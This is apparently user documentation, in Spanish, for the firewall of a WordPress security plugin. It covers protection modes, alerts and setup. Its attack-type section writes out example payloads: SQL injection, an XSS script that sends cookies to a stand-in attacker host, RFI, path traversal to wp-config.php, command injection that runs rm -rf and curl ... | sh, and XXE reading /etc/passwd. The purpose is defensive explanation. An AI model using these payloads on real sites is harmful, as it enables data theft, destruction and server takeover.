Firewall: La Puerta de Entrada Protegida
Un firewall es como un guardia en la entrada de tu sitio. Examina cada visitante (solicitud HTTP) antes de permitir entrar:
- ¿De dónde vienes? (IP)
- ¿Qué intentas hacer? (URL, tipo de request)
- ¿Cómo te comportas? (patrón de acceso)
Basándose en estas preguntas, el firewall decide: permitir, desafiar (CAPTCHA), o bloquear.
Selección de Modo
El Firewall ofrece diferentes modos de operación según tus necesidades de seguridad. Cada modo determina cuándo el firewall bloquea tráfico y cuándo permite el acceso.
¿Cómo Elegir el Modo Adecuado?
La selección del modo depende de tu situación específica:
- Recién instalado: Comienza en Monitoring para observar
- En producción: Protection es el modo estándar
- En crisis: Strict para máxima protección
- En desarrollo: Off para no afectar trabajo
Proceso Recomendado
- OFF → MONITOR: Primeros días para observar sin bloquear nada
- MONITOR → PROTECTION: Modo estándar permanente, en cuanto confirmes que no hay falsos positivos
- PROTECTION → STRICT: Solo si es necesario
Aviso de Bajada de Protección
Justo debajo del interruptor principal de esta pantalla hay un segundo interruptor, más pequeño: "Avisarme si el Firewall se desactiva o baja la protección". Apagado por defecto.
Cuando lo activas, recibes un email inmediato —no hace falta esperar al informe periódico de seguridad— en el momento exacto en que el nivel de protección del Firewall baja:
- Bloqueo o Estricto → Monitor (deja de bloquear, solo registra)
- Cualquier modo → Apagado (el Firewall se desactiva del todo)
Solo avisa cuando la protección baja. Activar más protección (por ejemplo, pasar de Monitor a Bloqueo) nunca genera un aviso —no tiene sentido molestarte por hacerte más seguro.
El email indica claramente el estado anterior y el nuevo, con fecha y hora, y un enlace directo para revisar el Firewall. Cada aviso llega como un correo independiente (la fecha y hora van en el asunto) para que varios avisos seguidos no se agrupen en un mismo hilo y tapen al más reciente.
Se activa y desactiva al instante desde este mismo interruptor, sin necesidad de guardar ni recargar la página.
Modos de Operación del Firewall
El Firewall tiene diferentes "modos" según tu necesidad. Cada modo cambia cuándo bloquea.
1. Modo OFF (Desactivado)
Qué hace: Nada. Firewall no está activo.
Cuándo usar: Nunca en producción. Solo durante desarrollo inicial.
2. Modo MONITOR (Observar)
Qué hace: Registra actividad sospechosa pero NO bloquea. Solo vigila.
Comportamiento: Todos acceden, pero firewall registra "esto sería bloqueado si..."
Cuándo usar:
- Primeros días después de instalar SeenSecure
- Para aprender qué es normal vs sospechoso en tu sitio
- Antes de cambiar a modo más agresivo
3. Modo PROTECTION (Protección Normal)
Qué hace: Balance: bloquea real attacks pero permite tráfico legítimo.
Comportamiento: Ataca bloqueados, tráfico normal pasa.
Cuándo usar: Sitios en producción normal. Defensa estándar.
4. Modo STRICT (Estricto)
Qué hace: Máxima protección. Bloquea cualquier cosa ligeramente sospechosa.
Comportamiento: Puede haber falsos positivos (usuarios legítimos bloqueados).
Cuándo usar:
- Sitio bajo ataque activo
- Sitio muy crítico (banking, healthcare)
- Después de haber sido hackeado
OFF
❌ No usar en producción
MONITOR
✓ Primeros días
PROTECTION
✓ Estándar recomendado
STRICT
✓ Solo en crisis
¿Qué Protege el Firewall?
Cada uno de los siguientes es un tipo de ataque real y frecuente contra sitios WordPress — no son casos hipotéticos, son las técnicas que los escáneres automáticos prueban contra prácticamente cualquier web pública, la tuya incluida, todos los días. Para cada uno explicamos para qué sirve la protección, por qué el atacante lo intenta (qué consigue si funciona) y cómo actúa el firewall para evitarlo.
SQL Injection (SQLi)
Para qué sirve esta protección: tu web guarda todo — usuarios, contraseñas cifradas, posts, pedidos — en una base de datos que habla un lenguaje llamado SQL. Cuando rellenas un formulario (un campo de búsqueda, un login, un comentario), ese texto normalmente acaba formando parte de una instrucción SQL que se ejecuta en el servidor. La inyección SQL consiste en escribir, en ese mismo campo, no el dato que se espera, sino fragmentos de código SQL — para que el servidor no solo guarde tu texto, sino que además ejecute la orden que has colado dentro de él.
Por qué lo intenta un atacante: si la inyección funciona, el atacante puede leer datos que no debería ver (contraseñas cifradas, emails de clientes, claves de API guardadas en la base de datos), modificarlos (cambiar su propia cuenta a administrador) o incluso borrar tablas enteras. Es una de las formas más directas de robar una base de datos completa sin necesitar ninguna contraseña.
Ejemplo real: en un campo de búsqueda o login, en vez de escribir un nombre, el atacante envía algo como ' OR '1'='1 o admin'; DROP TABLE wp_users; --. La primera intenta convertir la condición de login en "verdadero siempre" para entrar sin contraseña; la segunda intenta borrar la tabla completa de usuarios.
Cómo lo detiene el firewall: SeenSecure analiza el contenido de cada campo antes de que llegue a WordPress, buscando patrones típicos de sintaxis SQL donde solo debería haber texto normal (comillas sueltas seguidas de palabras clave SQL como OR, UNION, DROP, SELECT en combinaciones que no tienen sentido como texto legítimo). Si detecta el patrón, bloquea la petición entera antes de que ese texto llegue siquiera a construirse como consulta SQL — la base de datos nunca ve el ataque.
Cross-Site Scripting (XSS)
Para qué sirve esta protección: cuando alguien deja un comentario, rellena un perfil o envía un formulario, ese texto a menudo se vuelve a mostrar más tarde en la página — a ti, a otros visitantes, o al administrador cuando revisa comentarios pendientes. El XSS consiste en meter, en ese texto, código JavaScript real en vez de texto normal, para que ese código se ejecute en el navegador de quien lo vea después.
Por qué lo intenta un atacante: el objetivo casi siempre es el navegador de otra persona — no el tuyo, sino el de un visitante o, en el mejor caso para el atacante, el del propio administrador. Si el script se ejecuta en el navegador de un admin logueado, puede robar su sesión (cookie de login) y actuar como si fuera él — sin necesitar su contraseña en absoluto. También se usa para redirigir visitantes a webs de phishing o para mostrar contenido falso encima del sitio real.
Ejemplo real: en un campo de comentario, en vez de un comentario normal, el atacante escribe <script>document.location='https://atacante.com/robar?c='+document.cookie</script>. Si ese texto se muestra sin filtrar en la página, cualquiera que la visite (incluido un admin logueado) ejecuta ese script sin saberlo, y su cookie de sesión viaja directamente al servidor del atacante.
Cómo lo detiene el firewall: el firewall examina cada dato enviado buscando etiquetas HTML/JavaScript ejecutables (<script>, atributos onerror=, onclick=, esquemas javascript: en enlaces, etc.) donde debería haber solo texto plano, y bloquea la petición si las encuentra — antes de que ese contenido llegue a guardarse o a mostrarse a nadie.
Path Traversal
Para qué sirve esta protección: algunas partes de tu web piden, en la propia URL, el nombre de un archivo a mostrar (una imagen, un PDF descargable, un idioma de plantilla). Path Traversal consiste en, en vez de un nombre de archivo normal, escribir una ruta que "sube" fuera de la carpeta permitida usando ../ repetido, para acceder a archivos completamente distintos del servidor.
Por qué lo intenta un atacante: el objetivo típico es leer archivos de configuración que contienen secretos — sobre todo wp-config.php, que guarda las credenciales de acceso a la base de datos en texto plano. Con esas credenciales, el atacante puede saltarse WordPress por completo y conectarse directamente a la base de datos.
Ejemplo real: una URL de descarga vulnerable como ?file=documento.pdf se manipula a ?file=../../../../wp-config.php — cada ../ sube un nivel de carpeta hasta salir de donde debería estar limitado, y llega hasta la raíz de WordPress para leer el archivo de configuración.
Cómo lo detiene el firewall: bloquea cualquier petición cuyos parámetros contengan secuencias de "subir de carpeta" (../ o su forma codificada %2e%2e%2f) combinadas con intentos de apuntar a rutas fuera del directorio esperado, y protege explícitamente el acceso directo a archivos sensibles como wp-config.php.
Remote & Local File Inclusion (RFI / LFI)
Para qué sirve esta protección: algunos plugins o temas mal programados cargan dinámicamente un archivo PHP a partir de un parámetro de la URL (por ejemplo, para elegir qué plantilla de idioma mostrar). RFI consiste en hacer que ese parámetro apunte no a un archivo local, sino a una URL externa controlada por el atacante; LFI consiste en apuntar a un archivo local del propio servidor que normalmente no debería ejecutarse directamente.
Por qué lo intenta un atacante: si consigue que el servidor ejecute un archivo PHP suyo (alojado en su propio servidor, en RFI) o un archivo local manipulable (en LFI, combinado a menudo con la subida previa de un archivo malicioso disfrazado de imagen), obtiene ejecución de código completa en tu servidor — el objetivo final de la mayoría de ataques web serios.
Ejemplo real (RFI): ?plantilla=http://atacante.com/shell-maliciosa.php — si el código vulnerable hace algo parecido a include($_GET['plantilla']), el servidor descarga y ejecuta directamente ese archivo PHP externo, dándole al atacante control total.
Cómo lo detiene el firewall: bloquea parámetros que contengan URLs completas (http://, https://, ftp:// o protocolos de flujo como php://, data://) donde se espera un nombre de archivo local, y aplica las mismas protecciones de Path Traversal para evitar que un parámetro de archivo "escape" hacia rutas del sistema que no debería tocar.
Directory Listing
Para qué sirve esta protección: cuando visitas una carpeta de un sitio web que no tiene un archivo index.php o index.html dentro, algunos servidores, por defecto, muestran automáticamente la lista completa de todos los archivos que hay en esa carpeta — como si abrieras el explorador de archivos del servidor desde el navegador.
Por qué lo intenta un atacante: no es un ataque en sí, sino reconocimiento — el paso previo a un ataque real. Un atacante que navega por las carpetas de plugins y temas puede descubrir qué versión exacta usas (para buscar vulnerabilidades conocidas ya publicadas de esa versión), archivos de backup olvidados (.sql, .zip) o ficheros de configuración que nunca deberían haberse subido al servidor.
Cómo lo detiene el firewall: bloquea directamente cualquier petición a la raíz de una carpeta de plugin o tema que no pida un archivo concreto, devolviendo un error en vez del listado — combinado con la protección de archivos sensibles, que impide el acceso directo a backups y ficheros de configuración aunque alguien conozca su nombre exacto.
Command Injection
Para qué sirve esta protección: algunos plugins (los que redimensionan imágenes, generan PDFs o hacen conversiones de archivos) a veces ejecutan comandos del sistema operativo del servidor por debajo, usando parte de los datos que tú envías como parte de ese comando. La inyección de comandos consiste en meter, en ese dato, caracteres especiales que el sistema operativo interpreta como "fin de comando, empieza uno nuevo".
Por qué lo intenta un atacante: es el equivalente, a nivel de sistema operativo, de la inyección SQL a nivel de base de datos — si funciona, el atacante ejecuta comandos arbitrarios directamente en el servidor (listar archivos, crear usuarios del sistema, descargar e instalar malware), con el mismo nivel de acceso que tiene el propio servidor web.
Ejemplo real: en un campo que se usa (mal) para nombrar un archivo a procesar, el atacante envía imagen.jpg; rm -rf /var/www/* o imagen.jpg && curl http://atacante.com/malware.sh | sh — el ; o && le dicen al sistema "termina ese comando y ejecuta este otro a continuación".
Cómo lo detiene el firewall: bloquea peticiones cuyos parámetros contengan los caracteres especiales que el sistema operativo usa para encadenar o separar comandos (;, &&, |, backticks) en contextos donde esos caracteres no tienen ningún sentido legítimo.
XML External Entity (XXE)
Para qué sirve esta protección: algunas funciones de WordPress y de ciertos plugins procesan archivos en formato XML (por ejemplo, al importar contenido, procesar ciertos feeds, o algunos formatos de documento como .docx/.xlsx, que internamente son XML). El formato XML permite definir "entidades" — atajos que se expanden a otro contenido — y algunas de esas entidades pueden apuntar a archivos locales del servidor o a direcciones de red internas.
Por qué lo intenta un atacante: definiendo una entidad maliciosa dentro de un archivo XML subido o importado, puede conseguir que el propio servidor lea y devuelva el contenido de archivos locales (como wp-config.php) dentro de la respuesta, o usar el servidor como intermediario para acceder a servicios internos de red que no deberían ser alcanzables desde fuera.
Ejemplo real: un archivo XML subido contiene una definición como <!ENTITY xxe SYSTEM "file:///etc/passwd"> y luego referencia esa entidad en el propio documento — si el procesador XML del servidor la expande sin restricciones, el contenido de ese archivo del sistema aparece incrustado en la respuesta.
Cómo lo detiene el firewall: además de que la protección de subidas bloquea archivos con contenido XML sospechoso, SeenSecure vigila que el propio procesamiento XML del servidor tenga deshabilitada la carga de entidades externas — la causa raíz que hace posible este ataque — de forma que aunque un XML malicioso llegara a procesarse, esa parte peligrosa del formato simplemente no se interpreta.
| Tipo de Ataque | Severidad | Modo mínimo para bloquear |
|---|---|---|
| SQL Injection | ⭐⭐⭐⭐⭐ | Protection+ |
| XSS | ⭐⭐⭐⭐ | Protection+ |
| RFI / LFI | ⭐⭐⭐⭐⭐ | Protection+ |
| Command Injection | ⭐⭐⭐⭐⭐ | Protection+ |
| XXE | ⭐⭐⭐⭐ | Protection+ |
| Path Traversal | ⭐⭐⭐ | Protection+ |
| Directory Listing | ⭐⭐ | Protection+ |
Cómo Activar y Configurar el Firewall
Paso 1: Elegir el Modo
Firewall > Modo > elige Monitoring, Protection o Strict > Guardar
Recomendación: Comienza con Monitoring durante 48 horas. El interruptor general del módulo Firewall & WAF (para desactivarlo por completo) está en el listado de módulos del Dashboard de SeenSecure.
Paso 2: Revisar Logs
Firewall > Traffic Log
¿Ves muchos falsos positivos? ¿Usuarios legítimos bloqueados? Ajusta la configuración de la protección correspondiente.
Paso 3: Configurar Sensibilidad
En Firewall → Anti-Inyección & RCP, el Escudo Anti-Inyección (SQLi/XSS/LFI/Comandos/XXE/SSRF) tiene dos ajustes propios, independientes del Modo global:
- Acción: Off, Desafío, Bloquear, Solo bloquear la petición (403 sin registrar la IP), o Monitor (solo registra)
- Sensibilidad: Baja, Media (recomendada) o Alta — a mayor sensibilidad, más patrones bloqueados pero más riesgo de falsos positivos
Paso 4: Definir Exclusiones (Opcional)
Si hay requests que el Escudo Anti-Inyección bloquea incorrectamente, en la misma pestaña añade:
- Paths en allowlist (una ruta o fragmento de URL por línea)
- Parámetros en allowlist (por nombre de campo/parámetro)
Paso 5: Escalar a Modo Production
- Día 1-3: MONITOR
- Semana 2+: PROTECTION (recomendado permanente)
Mejores Prácticas
Activación Gradual
- Instala SeenSecure
- Firewall OFF durante 1 día (validar funcionalidad)
- Firewall MONITOR durante 1 semana (observar sin bloquear)
- Firewall PROTECTION indefinidamente
Monitoreo Continuo
- Revisa logs 2-3 veces por semana inicialmente
- Después, 1 vez por semana
- Si ves patrón nuevo, investiga
Ajustes Según Tipo de Sitio
- Blog Simple: PROTECTION con sensibilidad media
- E-commerce: PROTECTION con sensibilidad alta en /checkout
- SaaS: PROTECTION con sensibilidad muy alta
- Crítico: STRICT durante horario de operación
Comunicación a Usuarios
Si Firewall bloquea usuario legítimo:
- Recibe mensaje de error descriptivo
- Explica que fue bloqueado por seguridad
- Ofrece contacto de soporte
🔧 Solución de Problemas
El Firewall bloqueó algo legítimo (un plugin, un formulario, un webhook)
Primero confirma en Firewall → Traffic Log que el bloqueo realmente vino del Firewall (columna "PROTECCIÓN") y no de otra protección distinta — el detalle de esa fila te dice qué patrón concreto saltó. Con eso confirmado:
- Si es una ruta o parámetro que se repite (un webhook, un endpoint de un plugin): añádelo a la allowlist por path exacto o por nombre de parámetro, en vez de bajar la sensibilidad general — así el resto del sitio sigue igual de protegido.
- Si es un patrón que salta con demasiada frecuencia en formularios normales: reduce la Sensibilidad un escalón antes de plantearte bajar el Modo global.
- Si necesitas confirmarlo sin arriesgarte a bloquear a nadie mientras investigas: cambia el Modo global a MONITOR temporalmente — sigue registrando todo en el Traffic Log exactamente igual, pero no bloquea nada mientras decides el ajuste correcto.
Necesito desbloquear a alguien ahora mismo
Añádelo directamente en Firewall → Listas de IPs (whitelist): una IP en whitelist tiene prioridad absoluta y se salta el Firewall por completo, sin esperar a que expire ningún bloqueo.
Preguntas Frecuentes
¿Qué diferencia hay entre MONITOR y LEARNING? Ninguno de los dos bloquea: ambos solo registran en el Traffic Log lo que habrían bloqueado. Son la misma fase de observación antes de pasar a PROTECTION.
¿PROTECTION y STRICT no son lo mismo? No: STRICT aplica la validación de forma más exigente que PROTECTION para sitios de alto riesgo, a costa de un mayor riesgo de falso positivo si tu sitio tiene mucho tráfico o formularios poco habituales.
¿Cómo sé si fue el Firewall o Bot Protection quien bloqueó algo? Mira la columna "PROTECCIÓN" en el Traffic Log — identifica exactamente qué módulo actuó, no hace falta adivinarlo.
¿Puedo tener el Firewall en un modo distinto solo para una parte del sitio (p. ej. /checkout)? La allowlist funciona por path o parámetro específico dentro del modo global activo, no como un modo independiente por sección del sitio.